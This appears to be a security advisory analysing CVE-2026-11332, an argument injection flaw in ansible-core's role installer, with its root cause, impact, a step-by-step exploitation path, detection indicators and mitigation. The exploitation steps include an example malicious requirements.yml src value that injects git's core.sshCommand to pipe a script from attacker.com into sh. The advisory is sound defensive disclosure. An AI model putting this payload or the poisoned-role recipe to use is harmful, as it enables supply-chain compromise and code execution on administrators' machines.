CVE-2026-11332: 
Ansible vulnerability analysis and mitigation

CVE-2026-11332 is an argument injection vulnerability in ansible-core that allows arbitrary code execution on the machine of a user who installs a malicious Ansible role via ansible-galaxy role install. The flaw was disclosed on June 5, 2026, and affects ansible-core as shipped with Red Hat Ansible Automation Platform 2. It carries a CVSS v3.1 base score of 7.8 (High), assigned by Red Hat (Red Hat CVE, Github Advisory).

The root cause is CWE-88 (Improper Neutralization of Argument Delimiters in a Command — Argument Injection). When ansible-galaxy role install processes a role's meta/requirements.yml file, it reads dependency entries and passes the src and name fields directly to git clone via Python's Popen without inserting a -- separator to delimit options from positional arguments. A malicious role author can craft a src field containing arbitrary git configuration flags — for example, -c core.sshCommand=sh -c "malicious_command" — while supplying a valid repository URL in the name field, causing git to execute the injected command. The fix is to insert -- before the positional arguments in the git clone command list (Red Hat Bugzilla).

Successful exploitation results in arbitrary code execution on the local machine of the user running ansible-galaxy role install, with full confidentiality, integrity, and availability impact at the user's privilege level. Because Ansible is commonly run by administrators and CI/CD pipelines with elevated permissions, exploitation could lead to credential theft, persistent backdoors, or lateral movement across managed infrastructure. The attack is local in vector but is triggered by a user action (installing a role), making supply-chain-style attacks via Ansible Galaxy a realistic threat scenario (Red Hat CVE, Github Advisory).

1. Craft a malicious Ansible role: Create an Ansible role with a meta/requirements.yml file containing a dependency entry where the src field is set to a git configuration injection payload, e.g., src: "-c core.sshCommand=sh -c 'curl http://attacker.com/shell.sh | sh'", and the name field contains a valid-looking repository URL.
2. Publish or distribute the role: Upload the malicious role to Ansible Galaxy or distribute it via a URL, a private repository, or as a dependency of another role to reach target users.
3. Wait for victim to install the role: When a victim runs ansible-galaxy role install <malicious-role>, ansible-core reads the meta/requirements.yml and processes the dependency entry.
4. Trigger argument injection: ansible-core constructs a git clone command using Python's Popen, passing the attacker-controlled src value without a -- delimiter, causing git to interpret the injected flags as git options.
5. Achieve code execution: Git executes the injected core.sshCommand (or similar configuration override), running the attacker's payload with the privileges of the user who invoked ansible-galaxy (Red Hat Bugzilla, Medium Write-up).

• Process: Unexpected child processes spawned by git during ansible-galaxy role install, such as sh, bash, curl, wget, or python, particularly with network-reaching arguments.
• Network: Outbound connections from the Ansible control node to unknown external hosts initiated during or immediately after a ansible-galaxy role install execution.
• Logs: Shell history or audit logs showing ansible-galaxy role install commands followed by anomalous process activity; git invocations with -c flags containing sshCommand or similar configuration overrides in process audit logs (e.g., auditd execve records).
• File System: Unexpected scripts, cron jobs, SSH authorized_keys modifications, or new binaries created under the user's home directory or /tmp shortly after role installation.
• Configuration: Presence of roles in ~/.ansible/roles/ or the configured roles path with meta/requirements.yml files containing src fields starting with - (dash), indicating potential injection payloads.

Users should upgrade ansible-core to a patched version once one is released by Red Hat for Ansible Automation Platform 2; monitor the Red Hat CVE page and Bugzilla entry for fixed version announcements. As an interim workaround, carefully audit any meta/requirements.yml files in roles before installation, and avoid installing roles from untrusted or unverified sources on Ansible Galaxy or other repositories. Organizations should also consider restricting ansible-galaxy role install usage in CI/CD pipelines to roles from verified, internal mirrors (Red Hat CVE, Red Hat Bugzilla).

A security researcher published a detailed Medium write-up titled "CVE-2026-11332: How I Found an Argument Injection in Ansible Leading to RCE," providing a technical account of the discovery and exploitation path (Medium Write-up). The vulnerability was also discussed on the infosec.exchange Mastodon instance via VulDB, and Tenable added detection coverage via Nessus plugin 319013. The OpenSUSE security announce mailing list also referenced the issue, indicating broad awareness across the Linux distribution ecosystem (openSUSE Advisory).